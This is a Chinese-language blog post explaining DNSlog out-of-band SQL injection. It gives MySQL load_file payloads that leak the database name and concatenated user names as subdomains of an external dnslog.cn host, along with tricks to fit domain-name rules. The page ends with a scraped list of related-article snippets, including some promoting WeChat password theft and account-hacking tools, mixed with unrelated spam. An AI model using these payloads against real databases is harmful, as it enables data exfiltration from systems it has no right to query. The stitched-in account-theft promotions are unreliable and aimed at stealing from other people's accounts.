DNSlog注入详细解析
DNSlog注入语句
select load_file(concat('\\\\',(select database()),'.gitw7c.dnslog.cn/abc'));//转换之后的结果为:\\security.gitw7c.dnslog.cn
原理是load_file通过请求security.gitw7c.dnslog.cn下的/abc文件时留下dns解析记录来获取信息的。
域名知识：
域名可以分为5级，从右向左解析，用 . 分割级别，低级别的域名要在高级别的域名中去解析，所以当security.gitw7c.dnslog.cn去gitw7c.dnslog.cn中去解析的时候，就会留下解析记录，通过获取前来解析的低级域名前缀来获取我们需要的信息
由于每一级域名的长度只能为63个字符，所以在mysql中获取到超过63个字节的字符时，会被当作一个错误的域名，不会产生去解析的动作，所以gitw7c.dnslog.cn也不会收到解析的记录，所以我们就获取不到想要的信息了
域名里有一个规则，只能出现数字，字母，下划线；所以在获取到的信息中包含了其他特殊符号时，load_file就会认为是一个错误的域名，就不会去从 *** 中解析了。
如：
当前我的数据库名为security，是以字母开头的，在域名规则内是允许的，所以load_file会向域名进行解析
sql payload
当我在域名中拼接一个@符号时，就不会进行解析
也就不会有解析记录
我们在使用group_concat合并查询时，会自动使用 "," 连接我们查询到的每值，但是由于 , 在url中是不允许出现的，所以使用group查询到的值去解析时候，mysql就会认为这不是一个url地址，就不会出现解析的操作，所以就没法获取到值，
更佳方案
不过事情总是有解决的办法的，通过我不断地构造语句，之后使用replace，substr等函数，成功绕过了url解析的问题
如：
select load_file(concat('\\\\',(select SUBSTR(replace((group_concat(username )),',','_'),1,63) from users),'.qnpqsu.dnslog.cn/abc'))通过正则替换将replace中的 “ ，”全部替换为 “ _ ” 这样就可以符合url的解析规则了，并且我们只需要将查询结果的字符长度控制在63个就可以了.
如图：
作者：GoodXuan ? ·
学校：必安科技-必火 *** 安全? ? ? ? ? ? ? ? ? ? ? ?·
E-mail：2596456807@qq.com? ·
如若转载请在文章中表明原文章出处与作者? ·
相关文章
找回微信密码神器 找回微信密码的软件下载
11月29日,由酷狗音乐特约赞助的代际潮音竞演综艺《我们的歌2》第八期震撼来袭,“火锅英雄”vs“哲依祖太厉害了”最后一场团战高燃启动,带来无数经典怀旧的“神仙舞台”。节目正版音频已零时差上线独家音乐...
江南四大才子（江南四大才子都是谁？）
江南四大才子（江南四大才子都是谁？）江南四大才子又称“吴门四才子”，是指明代时生活在江苏苏州的四位才华横溢且性情洒脱的文化人。一般认为是指唐伯虎、祝枝山、文征明、徐祯卿。 【唐伯虎】：擅山水、人物、花...
盗取微信方法的教程，盗微信密码神器下载安装
1.在你的手机 设置里找到网络设置， 把接入点名称更改一 下，换一个试试。 2.卸载掉您 现在的微信，在好一些的手机软件下载地址去下载新的微信，比如宜搜软件（宜搜应用中心） 3.尝试清除你手机里的一些...
网络上赚钱的方法（一天挣300
仅仅怎么推广，怎样转现，实际上一件事而言非常简单，我告诉大伙儿营销推广的地区，在社交网络，自媒体平台，两微一端QQ空间豆瓣网天崖，QQ部族，知乎问答百度贴吧微信朋友圈竟价，聪慧推腾讯课堂网易课堂快手，...
黑客找漏洞案例,免费黑客网盗号生死狙击号
一、漏洞案例怎么找黑客 1、接单网热衷于研究和撰写程序的专家，必须具有追求穷人的特点。漏洞案例免费盗号生死狙击号当然，你最好有四个。红蜘蛛免费微信号最好的方法是阅读一些大师的杰作，并试图阅读和阅读一些...
担忧安全性 调查称仅哆啦a梦h半数美国人愿接种新冠疫苗
中新网12月10日电 据美国中文网报道，新冠疫苗审批和分发已提上日程。然而，一项最新民调发现，只有大约一半的美国人表示愿意接种疫苗。许多人出于对疫苗安全性的担忧，表示会等到更多人接受注射后，确认...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！